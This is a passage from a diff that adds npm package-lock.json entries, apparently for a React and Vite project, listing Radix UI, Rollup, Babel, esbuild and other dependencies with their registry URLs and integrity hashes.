"sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA==", + "dependencies": { + "@babel/runtime": "^7.13.10" + } + }, + "node_modules/@radix-ui/react-compose-refs": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.0.0.tgz", + "integrity": "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA==", + "dependencies": { + "@babel/runtime": "^7.13.10" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-context": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.0.0.tgz", + "integrity": "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg==", + "dependencies": { + "@babel/runtime": "^7.13.10" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-direction": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.0.0.tgz", + "integrity": "sha512-2HV05lGUgYcA6xgLQ4BKPDmtL+QbIZYH5fCOTAOOcJ5O0QbWS3i9lKaurLzliYUDhORI2Qr3pyjhJh44lKA3rQ==", + "dependencies": { + "@babel/runtime": "^7.13.10" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-presence": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.0.0.tgz", + "integrity": "sha512-A+6XEvN01NfVWiKu38ybawfHsBjWum42MRPnEuqPsBZ4eV7e/7K321B5VgYMPv3Xx5An6o1/l9ZuDBgmcmWK3w==", + "dependencies": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-compose-refs": "1.0.0", + "@radix-ui/react-use-layout-effect": "1.0.0" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0", + "react-dom": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-primitive": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-1.0.1.tgz", + "integrity": "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA==", + "dependencies": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-slot": "1.0.1" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0", + "react-dom": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-scroll-area": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.0.2.tgz", + "integrity": "sha512-k8VseTxI26kcKJaX0HPwkvlNBPTs56JRdYzcZ/vzrNUkDlvXBy8sMc7WvCpYzZkHgb+hd72VW9MqkqecGtuNgg==", + "dependencies": { + "@babel/runtime": "^7.13.10", + "@radix-ui/number": "1.0.0", + "@radix-ui/primitive": "1.0.0", + "@radix-ui/react-compose-refs": "1.0.0", + "@radix-ui/react-context": "1.0.0", + "@radix-ui/react-direction": "1.0.0", + "@radix-ui/react-presence": "1.0.0", + "@radix-ui/react-primitive": "1.0.1", + "@radix-ui/react-use-callback-ref": "1.0.0", + "@radix-ui/react-use-layout-effect": "1.0.0" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0", + "react-dom": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-slot": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.0.1.tgz", + "integrity": "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw==", + "dependencies": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-compose-refs": "1.0.0" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-use-callback-ref": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.0.0.tgz", + "integrity": "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg==", + "dependencies": { + "@babel/runtime": "^7.13.10" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@radix-ui/react-use-layout-effect": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.0.0.tgz", + "integrity": "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ==", + "dependencies": { + "@babel/runtime": "^7.13.10" + }, + "peerDependencies": { + "react": "^16.8 || ^17.0 || ^18.0" + } + }, + "node_modules/@rollup/plugin-babel": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-6.0.3.tgz", + "integrity": "sha512-fKImZKppa1A/gX73eg4JGo+8kQr/q1HBQaCGKECZ0v4YBBv3lFqi14+7xyApECzvkLTHCifx+7ntcrvtBIRcpg==", + "dependencies": { + "@babel/helper-module-imports": "^7.18.6", + "@rollup/pluginutils": "^5.0.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "@types/babel__core": "^7.1.9", + "rollup": "^1.20.0||^2.0.0||^3.0.0" + }, + "peerDependenciesMeta": { + "@types/babel__core": { + "optional": true + }, + "rollup": { + "optional": true + } + } + }, + "node_modules/@rollup/pluginutils": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.0.2.tgz", + "integrity": "sha512-pTd9rIsP92h+B6wWwFbW8RkZv4hiR/xKsqre4SIuAOaOEQRxi0lqLke9k2/7WegC85GgUs9pjmOjCUi3In4vwA==", + "dependencies": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0||^3.0.0" + }, + "peerDependenciesMeta": { + "rollup": { + "optional": true + } + } + }, + "node_modules/@types/estree": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.0.tgz", + "integrity": "sha512-WulqXMDUTYAXCjZnk6JtIHPigp55cVtDgDrO2gHRwhyJto21+1zbVCtOYB2L1F9w4qCQ0rOGWBnBe0FNTiEJIQ==" + }, + "node_modules/@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" + }, + "node_modules/@types/prop-types": { + "version": "15.7.5", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.5.tgz", + "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==", + "devOptional": true + }, + "node_modules/@types/react": { + "version": "18.0.21", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.0.21.tgz", + "integrity": "sha512-7QUCOxvFgnD5Jk8ZKlUAhVcRj7GuJRjnjjiY/IUBWKgOlnvDvTMLD4RTF7NPyVmbRhNrbomZiOepg7M/2Kj1mA==", + "devOptional": true, + "dependencies": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "node_modules/@types/react-dom": { + "version": "18.0.6", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.0.6.tgz", + "integrity": "sha512-/5OFZgfIPSwy+YuIBP/FgJnQnsxhZhjjrnxudMddeblOouIodEQ75X14Rr4wGSG/bknL+Omy9iWlLo1u/9GzAA==", + "dev": true, + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/scheduler": { + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz", + "integrity": "sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew==", + "devOptional": true + }, + "node_modules/@vitejs/plugin-react": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-2.1.0.tgz", + "integrity": "sha512-am6rPyyU3LzUYne3Gd9oj9c4Rzbq5hQnuGXSMT6Gujq45Il/+bunwq3lrB7wghLkiF45ygMwft37vgJ/NE8IAA==", + "dev": true, + "dependencies": { + "@babel/core": "^7.18.13", + "@babel/plugin-transform-react-jsx": "^7.18.10", + "@babel/plugin-transform-react-jsx-development": "^7.18.6", + "@babel/plugin-transform-react-jsx-self": "^7.18.6", + "@babel/plugin-transform-react-jsx-source": "^7.18.6", + "magic-string": "^0.26.2", + "react-refresh": "^0.14.0" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "peerDependencies": { + "vite": "^3.0.0" + } + }, + "node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true + }, + "node_modules/aria-hidden": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.3.tgz", + "integrity": "sha512-xcLxITLe2HYa1cnYnwCjkOO1PqUHQpozB8x9AR0OgWN2woOBi5kSDVxKfd0b7sb1hw5qFeJhXm9H1nu3xSfLeQ==", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/babel-plugin-macros": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", + "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", + "dependencies": { + "@babel/runtime": "^7.12.5", + "cosmiconfig": "^7.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">=10", + "npm": ">=6" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.21.4", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.4.tgz", + "integrity": "sha512-CBHJJdDmgjl3daYjN5Cp5kbTf1mUhZoS+beLklHIvkOWscs83YAhLlF3Wsh/lciQYAcbBJgTOD44VtG31ZM4Hw==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001400", + "electron-to-chromium": "^1.4.251", + "node-releases": "^2.0.6", + "update-browserslist-db": "^1.0.9" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001418", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001418.tgz", + "integrity": "sha512-oIs7+JL3K9JRQ3jPZjlH6qyYDp+nBTCais7hjh0s+fuBwufc7uZ7hPYMXrDOJhV360KGMTcczMRObk0/iMqZRg==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + } + ] + }, + "node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/clsx": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.1.1.tgz", + "integrity": "sha512-6/bPho624p3S2pMyvP5kKBPXnI3ufHLObBFCfgx+LkeR5lg2XYy2hqZqUf45ypD8COn2bhgGJSUE+l5dhNBieA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "node_modules/convert-source-map": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz", + "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==", + "dependencies": { + "safe-buffer": "~5.1.1" + } + }, + "node_modules/cosmiconfig": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/countup.js": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/countup.js/-/countup.js-2.5.0.tgz", + "integrity": "sha512-/59H8Q6wzu6VfHeqGUgXoyh6kgboGr5mALmRKi8YA11DlcaXSnT1PZG6mTyBRLco4ZjExKlmfNHeMbQgZvis9Q==" + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/csstype": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz", + "integrity": "sha512-DJR/VvkAvSZW9bTouZue2sSxDwdTN92uHjqeKVm+0dAqdfNykRzQ95tay8aXMBAAPpUiq4Qcug2L7neoRh2Egw==" + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/detect-node-es": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz", + "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==" + }, + "node_modules/didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "dev": true + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true + }, + "node_modules/electron-to-chromium": { + "version": "1.4.276", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.276.tgz", + "integrity": "sha512-EpuHPqu8YhonqLBXHoU6hDJCD98FCe6KDoet3/gY1qsQ6usjJoHqBH2YIVs8FXaAtHwVL8Uqa/fsYao/vq9VWQ==" + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/esbuild": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.15.10.tgz", + "integrity": "sha512-N7wBhfJ/E5fzn/SpNgX+oW2RLRjwaL8Y0ezqNqhjD6w0H2p0rDuEz2FKZqpqLnO8DCaWumKe8dsC/ljvVSSxng==", + "dev": true, + "hasInstallScript": true, + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/android-arm": "0.15.10", + "@esbuild/linux-loong64": "0.15.10", + "esbuild-android-64": "0.15.10", + "esbuild-android-arm64": "0.15.10", + "esbuild-darwin-64": "0.15.10", + "esbuild-darwin-arm64": "0.15.10", + "esbuild-freebsd-64": "0.15.10", + "esbuild-freebsd-arm64": "0.15.10", + "esbuild-linux-32": "0.15.10", + "esbuild-linux-64": "0.15.10", + "esbuild-linux-arm": "0.15.10", + "esbuild-linux-arm64": "0.15.10", + "esbuild-linux-mips64le": "0.15.10", + "esbuild-linux-ppc64le": "0.15.10", + "esbuild-linux-riscv64": "0.15.10", + "esbuild-linux-s390x": "0.15.10", + "esbuild-netbsd-64": "0.15.10", + "esbuild-openbsd-64": "0.15.10", + "esbuild-sunos-64": "0.15.10", + "esbuild-windows-32": "0.15.10", + "esbuild-windows-64": "0.15.10", + "esbuild-windows-arm64": "0.15.10" + } + }, + "node_modules/esbuild-android-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-android-64/-/esbuild-android-64-0.15.10.tgz", + "integrity": "sha512-UI7krF8OYO1N7JYTgLT9ML5j4+45ra3amLZKx7LO3lmLt1Ibn8t3aZbX5Pu4BjWiqDuJ3m/hsvhPhK/5Y/YpnA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-android-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-android-arm64/-/esbuild-android-arm64-0.15.10.tgz", + "integrity": "sha512-EOt55D6xBk5O05AK8brXUbZmoFj4chM8u3riGflLa6ziEoVvNjRdD7Cnp82NHQGfSHgYR06XsPI8/sMuA/cUwg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-darwin-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-darwin-64/-/esbuild-darwin-64-0.15.10.tgz", + "integrity": "sha512-hbDJugTicqIm+WKZgp208d7FcXcaK8j2c0l+fqSJ3d2AzQAfjEYDRM3Z2oMeqSJ9uFxyj/muSACLdix7oTstRA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-darwin-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-darwin-arm64/-/esbuild-darwin-arm64-0.15.10.tgz", + "integrity": "sha512-M1t5+Kj4IgSbYmunf2BB6EKLkWUq+XlqaFRiGOk8bmBapu9bCDrxjf4kUnWn59Dka3I27EiuHBKd1rSO4osLFQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-freebsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-64/-/esbuild-freebsd-64-0.15.10.tgz", + "integrity": "sha512-KMBFMa7C8oc97nqDdoZwtDBX7gfpolkk6Bcmj6YFMrtCMVgoU/x2DI1p74DmYl7CSS6Ppa3xgemrLrr5IjIn0w==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-freebsd-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-freebsd-arm64/-/esbuild-freebsd-arm64-0.15.10.tgz", + "integrity": "sha512-m2KNbuCX13yQqLlbSojFMHpewbn8wW5uDS6DxRpmaZKzyq8Dbsku6hHvh2U+BcLwWY4mpgXzFUoENEf7IcioGg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-32": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-32/-/esbuild-linux-32-0.15.10.tgz", + "integrity": "sha512-guXrwSYFAvNkuQ39FNeV4sNkNms1bLlA5vF1H0cazZBOLdLFIny6BhT+TUbK/hdByMQhtWQ5jI9VAmPKbVPu1w==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-64/-/esbuild-linux-64-0.15.10.tgz", + "integrity": "sha512-jd8XfaSJeucMpD63YNMO1JCrdJhckHWcMv6O233bL4l6ogQKQOxBYSRP/XLWP+6kVTu0obXovuckJDcA0DKtQA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-arm": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-arm/-/esbuild-linux-arm-0.15.10.tgz", + "integrity": "sha512-6N8vThLL/Lysy9y4Ex8XoLQAlbZKUyExCWyayGi2KgTBelKpPgj6RZnUaKri0dHNPGgReJriKVU6+KDGQwn10A==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-arm64/-/esbuild-linux-arm64-0.15.10.tgz", + "integrity": "sha512-GByBi4fgkvZFTHFDYNftu1DQ1GzR23jws0oWyCfhnI7eMOe+wgwWrc78dbNk709Ivdr/evefm2PJiUBMiusS1A==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-mips64le": { + "version": 